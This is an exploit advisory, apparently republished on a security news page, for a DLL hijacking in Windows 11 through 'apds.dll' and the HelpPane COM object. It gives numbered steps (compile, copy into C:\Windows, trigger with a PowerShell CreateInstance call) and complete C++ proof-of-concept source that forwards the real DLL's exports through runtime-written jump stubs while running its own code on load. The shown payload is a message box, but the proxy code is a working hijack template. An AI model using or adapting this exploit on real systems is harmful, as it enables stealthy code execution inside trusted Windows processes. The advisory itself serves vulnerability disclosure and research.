Exploit/Advisories no image

Published on October 11th, 2023 📆 | 1732 Views ⚑

0

Microsoft Windows 11 apds.dll DLL Hijacking – Torchsec


Convert Text to Speech

#---------------------------------------------------------
# Title: Microsoft Windows 11 - 'apds.dll' DLL hijacking (Forced)
# Date: 2023-09-01
# Author: Moein Shahabi
# Vendor: https://www.microsoft.com
# Version: Windows 11 Pro 10.0.22621
# Tested on: Windows 11_x64 [eng]

#---------------------------------------------------------

Description:

HelpPane object allows us to force Windows 11 to DLL hijacking

Instructions:

1. Compile dll
2. Copy newly compiled dll "apds.dll" in the "C:\Windows\" directory
3. Launch cmd and Execute the following command to test HelpPane object "[System.Activator]::CreateInstance([Type]::GetTypeFromCLSID('8CEC58AE-07A1-11D9-B15E-000D56BFE6EE'))"
4. Boom DLL Hijacked!

------Code_Poc-------
#pragma once
#include

// Function executed when the thread starts
extern "C" __declspec(dllexport)
DWORD WINAPI MessageBoxThread(LPVOID lpParam) {
MessageBox(NULL, L"DLL Hijacked!", L"DLL Hijacked!", NULL);
return 0;
}

PBYTE AllocateUsableMemory(PBYTE baseAddress, DWORD size, DWORD protection = PAGE_READWRITE) {
#ifdef _WIN64
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader;

// Create some breathing room
baseAddress = baseAddress + optionalHeader->SizeOfImage;

for (PBYTE offset = baseAddress; offset < baseAddress + MAXDWORD; offset += 1024 * 8) {
PBYTE usuable = (PBYTE)VirtualAlloc(
offset,
size,
MEM_RESERVE | MEM_COMMIT,
protection);

if (usuable) {
ZeroMemory(usuable, size); // Not sure if this is required
return usuable;
}
}
#else
// x86 doesn't matter where we allocate

PBYTE usuable = (PBYTE)VirtualAlloc(
NULL,
size,
MEM_RESERVE | MEM_COMMIT,
protection);

if (usuable) {
ZeroMemory(usuable, size);
return usuable;
}
#endif
return 0;
}

BOOL ProxyExports(HMODULE ourBase, HMODULE targetBase)
{
#ifdef _WIN64
BYTE jmpPrefix[] = { 0x48, 0xb8 }; // Mov Rax
BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Rax
#else
BYTE jmpPrefix[] = { 0xb8 }; // Mov Eax

BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Eax
#endif

PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetBase;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader;
PIMAGE_DATA_DIRECTORY exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (exportDataDirectory->Size == 0)
return FALSE; // Nothing to forward

PIMAGE_EXPORT_DIRECTORY targetExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress);

if (targetExportDirectory->NumberOfFunctions != targetExportDirectory->NumberOfNames)
return FALSE; // TODO: Add support for DLLs with mixed ordinals

dosHeader = (PIMAGE_DOS_HEADER)ourBase;
ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);
optionalHeader = &ntHeaders->OptionalHeader;
exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (exportDataDirectory->Size == 0)
return FALSE; // Our DLL is broken

PIMAGE_EXPORT_DIRECTORY ourExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress);

// ----------------------------------

// Make current header data RW for redirections
DWORD oldProtect = 0;
if (!VirtualProtect(
ourExportDirectory,
64, PAGE_READWRITE,
&oldProtect)) {
return FALSE;
}





DWORD totalAllocationSize = 0;

// Add the size of jumps
totalAllocationSize += targetExportDirectory->NumberOfFunctions * (sizeof(jmpPrefix) + sizeof(jmpSuffix) + sizeof(LPVOID));

// Add the size of function table
totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(INT);

// Add total size of names
PINT targetAddressOfNames = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfNames);
for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++)
totalAllocationSize += (DWORD)strlen(((LPCSTR)((PBYTE)targetBase + targetAddressOfNames[i]))) + 1;

// Add size of name table
totalAllocationSize += targetExportDirectory->NumberOfNames * sizeof(INT);

// Add the size of ordinals:
totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(USHORT);

// Allocate usuable memory for rebuilt export data
PBYTE exportData = AllocateUsableMemory((PBYTE)ourBase, totalAllocationSize, PAGE_READWRITE);
if (!exportData)
return FALSE;

PBYTE sideAllocation = exportData; // Used for VirtualProtect later

// Copy Function Table
PINT newFunctionTable = (PINT)exportData;
CopyMemory(newFunctionTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfFunctions * sizeof(INT));
exportData += targetExportDirectory->NumberOfFunctions * sizeof(INT);
ourExportDirectory->AddressOfFunctions = (DWORD)((PBYTE)newFunctionTable - (PBYTE)ourBase);

// Write JMPs and update RVAs in the new function table
PINT targetAddressOfFunctions = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfFunctions);
for (DWORD i = 0; i < targetExportDirectory->NumberOfFunctions; i++) {
newFunctionTable[i] = (DWORD)(exportData - (PBYTE)ourBase);

CopyMemory(exportData, jmpPrefix, sizeof(jmpPrefix));
exportData += sizeof(jmpPrefix);

PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfFunctions[i]);
CopyMemory(exportData, &realAddress, sizeof(LPVOID));
exportData += sizeof(LPVOID);

CopyMemory(exportData, jmpSuffix, sizeof(jmpSuffix));
exportData += sizeof(jmpSuffix);
}

// Copy Name RVA Table
PINT newNameTable = (PINT)exportData;
CopyMemory(newNameTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfNames * sizeof(DWORD));
exportData += targetExportDirectory->NumberOfNames * sizeof(DWORD);
ourExportDirectory->AddressOfNames = (DWORD)((PBYTE)newNameTable - (PBYTE)ourBase);

// Copy names and apply delta to all the RVAs in the new name table
for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++) {
PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfNames[i]);
DWORD length = (DWORD)strlen((LPCSTR)realAddress);
CopyMemory(exportData, realAddress, length);
newNameTable[i] = (DWORD)((PBYTE)exportData - (PBYTE)ourBase);
exportData += length + 1;
}

// Copy Ordinal Table
PINT newOrdinalTable = (PINT)exportData;
CopyMemory(newOrdinalTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNameOrdinals, targetExportDirectory->NumberOfFunctions * sizeof(USHORT));
exportData += targetExportDirectory->NumberOfFunctions * sizeof(USHORT);
ourExportDirectory->AddressOfNameOrdinals = (DWORD)((PBYTE)newOrdinalTable - (PBYTE)ourBase);

// Set our counts straight
ourExportDirectory->NumberOfFunctions = targetExportDirectory->NumberOfFunctions;
ourExportDirectory->NumberOfNames = targetExportDirectory->NumberOfNames;

if (!VirtualProtect(
ourExportDirectory,
64, oldProtect,
&oldProtect)) {
return FALSE;
}

if (!VirtualProtect(
sideAllocation,
totalAllocationSize,
PAGE_EXECUTE_READ,
&oldProtect)) {
return FALSE;
}

return TRUE;
}
// Executed when the DLL is loaded (traditionally or through reflective injection)
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
HMODULE realDLL;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateThread(NULL, NULL, MessageBoxThread, NULL, NULL, NULL);
realDLL = LoadLibrary(L"C:\\Windows\\System32\\apds.dll");
if (realDLL)
ProxyExports(hModule, realDLL);

case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
--------------------------

Source link

Tagged with:



Comments are closed.